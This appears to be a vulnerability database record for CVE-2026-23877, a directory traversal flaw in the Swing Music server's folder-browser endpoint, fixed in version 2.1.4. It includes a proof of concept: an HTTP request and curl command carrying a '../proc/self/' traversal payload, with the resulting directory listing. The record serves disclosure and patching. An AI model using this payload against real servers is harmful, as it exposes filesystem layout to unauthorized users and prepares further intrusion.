{"id":"CVE-2026-23877","aliases":["GHSA-pj88-9xww-gxmh","PYSEC-2026-1947"],"url":"https://o3.security/vulnerability/CVE-2026-23877","summary":"Directory Traversal & Filesystem can be accessed by a non-admin user","details":"### Summary\nSwing Music's `list_folders()` function in the `/folder/dir-browser` endpoint is vulnerable to directory traversal attacks. Any authenticated user (including non-admin) can browse arbitrary directories on the server filesystem.\n\n### Details\nThe `@api.post(\"/dir-browser\")` endpoint lacks proper path validation and authorization checks:\n- **No authorization requirement**: Any authenticated user can access the endpoint\n- **Improper path handling**: The code attempts to prepend \"/\" to non-existent paths but this doesn't prevent traversal:\n```python\nreq_dir = pathlib.Path(\"../../../../etc\")  # → PosixPath('../../../../etc')\nif not req_dir.exists():                    # → False\n    req_dir = \"/\" / req_dir                 # → PosixPath('/../../../../etc')\n```\n\n### PoC\n1. Create a non-admin user\n2. Authenticate as a non-admin user\n3. Send the following request:\n```\nPOST /folder/dir-browser HTTP/1.1\nHost: IP:1970\nContent-Type: application/json\nCookie: access_token_cookie=non-admin-access-token\nConnection: keep-alive\n\n{\"folder\":\"/music/../proc/self/\", \"tracks_only\":false}\n```\n```bash\ncurl --path-as-is -i -s -k -X $'POST' -H $'Content-Type: application/json' -b $'access_token_cookie=non-admin-access-token' \\\n    --data-binary $'{\\\"folder\\\":\\\"/music/../proc/self/\\\", \\\"tracks_only\\\":false}' \\\n    $'http://IP:1970/folder/dir-browser'\n```\n4. The response will list directories from `/proc/self` instead of restricting to user-accessible paths:\n```\nHTTP/1.1 200 OK\nContent-Type: application/json\nContent-Length: 466\nVary: Accept-Encoding\nConnection: Keep-Alive\n\n{\"folders\":[{\"name\":\"attr\",\"path\":\"/music/../proc/self/attr\"},{\"name\":\"cwd\",\"path\":\"/music/../proc/self/cwd\"},{\"name\":\"fd\",\"path\":\"/music/../proc/self/fd\"},{\"name\":\"fdinfo\",\"path\":\"/music/../proc/self/fdinfo\"},{\"name\":\"map_files\",\"path\":\"/music/../proc/self/map_files\"},{\"name\":\"net\",\"path\":\"/music/../proc/self/net\"},{\"name\":\"ns\",\"path\":\"/music/../proc/self/ns\"},{\"name\":\"root\",\"path\":\"/music/../proc/self/root\"},{\"name\":\"task\",\"path\":\"/music/../proc/self/task\"}]}\n```\n\n### Impact\n\n**Information Disclosure:**\n- Server filesystem structure and layout\n- Configuration file locations and names\n- User account names from directory listings\n- Software versions and installed packages\n- Log file locations and system paths\n\n**Additional Risks:**\n- Preparation for further attacks (LFI, RCE)\n- Bypass of access control mechanisms\n- Exposure of sensitive directory structures","published":"2026-01-19T20:52:00.516Z","modified":"2026-08-12T03:51:11.282273865Z","cvss":null,"epss":{"score":0.00582,"percentile":0.46315,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"swingmusic","fixedVersion":"2.1.4"}],"fix":{"url":"https://github.com/swingmx/swingmusic/commit/9a915ca62af1502b9550722df82f5d432cb73de3","label":"swingmx/swingmusic@9a915ca"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/23xxx/CVE-2026-23877.json"},{"type":"ADVISORY","url":"https://github.com/swingmx/swingmusic/security/advisories/GHSA-pj88-9xww-gxmh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23877"},{"type":"FIX","url":"https://github.com/swingmx/swingmusic/commit/9a915ca62af1502b9550722df82f5d432cb73de3"},{"type":"PACKAGE","url":"https://github.com/swingmx/swingmusic"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:11.282273865Z"}}